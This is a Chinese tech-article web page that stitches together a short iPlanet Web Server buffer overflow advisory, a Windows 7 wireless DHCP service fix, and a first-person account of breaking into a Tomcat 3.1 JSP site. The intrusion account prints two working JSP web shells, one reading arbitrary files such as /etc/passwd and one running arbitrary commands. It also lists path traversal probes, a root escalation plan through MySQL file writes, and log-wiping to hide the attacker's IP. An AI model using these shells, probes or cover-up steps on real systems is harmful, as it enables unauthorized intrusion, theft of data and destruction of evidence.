iPlanet Web Server 缓冲区溢出漏洞 

作者:小菜 更新时间:2025-03-25 点击数:
简介:iPlanet Web Server 4.x存在一个缓冲区溢出漏洞。

该漏洞允许恶意的用户远程执行任意代码或产生拒绝服务攻击。

通过发送一个长度大约为 198-24

【菜科解读】

iPlanet Web Server 4.x存在一个缓冲区溢出漏洞。

该漏洞允许恶意的用户远程执行任意代码或产生拒绝服务攻击。

通过发送一个长度大约为 198-240 字符并以.shtml 作后缀的HTTP请求,将产生缓冲区溢出。

该漏洞只有在服务器端打开'parsing' 选项时才被利用。

成功地利用这个漏洞恶意的攻击者可以完全控制目标主机。

受影响的系统:Sun Solaris 8.0Microsoft Windows NT 4.0Linux kernel 2.3

iPlanet,Web,Server,缓冲区,溢出,漏洞,a

win7系统无线连不上提示windows无法启动wireless pan dhcp server服务

解决方案: 1、首先进入官方服务网站,然后手动下载并完全安装INTEL无线网卡驱动; 2。

接着打开本机网络连接界面,然后鼠标右击本地连接选择 共享 3、然后在弹出来的属性界面中,切换到 共享 选项卡,点击 设置 按钮(提醒:家庭网络连接可能有多个无线连接,需选择本机无线网卡对应的连接名称,这步非常重要。

) 4、然后弹出来的高级设置界面中,并勾选所有服务后点击确定; 5、然后鼠标右击计算机图标选择 管理 ,然后双击 服务和应用程序 ,在右边找到并双击 wireless pan dhcp server 服务,点击启动即可,如下图; ps:因为此服务为因特尔网卡的支持服务,非INTEL无线网卡机型电脑里无此服务,所以非NITEL无线网卡机型不会出现此错误。

win7,系统,无线,连,不上,提示,windows,无法,

WEB入侵jsp的过程

很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。

网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

telnet www.target.com 8080 GET /CHINANSL HTTP/1.1 [Enter] [Enter] 返回的结果如下: HTTP/1.0 404 Not Found Date: Sun, 08 Jul 2001 07:49:13 GMT Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2 .2.12 i386; java.vendor=Blackdown Java-Linux Team) Content-Language: en Content-Type: text/html Status: 404 Error: 404 Location: /CHINANSLFile Not Found/CHINANSL 我获得了运行的WEBServer的名称"Tomcat 3.1"。

我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

大概是:通过".."技术可以退出WEB目录,于是: http://target:8080/../../../../.jsp (不行) http://target:8080/file/index.jsp (不行) http://target:8080/index.JSP (不行) http://target:8080/index.jsp%81 (不行) http://target:8080/index.js%70 (不行) http://target:8080/index.jsp%2581 (不行) http://target:8080/WEB-INF/ (不行) 嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/ 管理员果然没有删除或禁止访问这个目录:-(失误!!!!! 接着我点"VIEW ALL CONTEXT"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。

几口咖啡的时间,我写了这么一个东东出来: %@ page import="java.io.*" %> % String file = request.getParameter("file"); String str = ""; FileInputStream fis = null; DataInputStream dis = null; try{ fis = new FileInputStream(file); dis = new DataInputStream(fis); while(true){ try{ str = dis.readLine(); }catch(Exception e){} if(str == null)break; out.print(str+""); } }catch(IOException e){} %> 通过上传的组件将这个jsp上传到对方的WEB目录里,然后: http://target:8080/upload/test.jsp?file=/etc/passwd 嘿嘿,密码出来啦。

我只看了"/etc/passwd",并没有看"/etc/shadow",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。

(失误) 接下来的过程是无聊的猜测密码,没有成功。

算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧! 再写: %@ page import="java.io.*" %> % try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %> 然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/ (我这里就不列出来了) 怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql: sqld">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld 显示: root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql 嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用"select ... into outfile;"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。

(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。

然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后......再使用su root时帮忙创建的setuid shell让自己成为root. 嘿嘿,真是好办法,我都为我的想法感到得意...... 接下去的事情,差点没让我吐血: 我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id 显示: uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) kao,我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。

竟然折腾了这么半天,哎! http://target:8080/upload/cmd.jsp?cmd=ps+aux 果然是root身份运行的(不列出来了) 剩下来的事情: 1、删除我的telnet记录。

2、删除http的日志。

至于清除日志嘛,我使用的办法是:cat xxx |grep -V "IP" >>temp然后在把temp覆盖那些被我修改过的日志文件。

我没有更换他的页面,因为我本身也就不是什么黑客啦,更不是红客,只是个网络安全爱好者而已。

所以,发封邮件告诉system admin吧! 当然,我顺便在信中提到,如果需要安盟信息科技为他提供安全服务的话,我们会非常的高兴! WEB,入侵,jsp,的,过程,很,偶然,的,一个,机会,看

加入收藏
               

iPlanet Web Server 缓冲区溢出漏洞 

点击下载文档

格式为doc格式

  • 账号登录
社交账号登录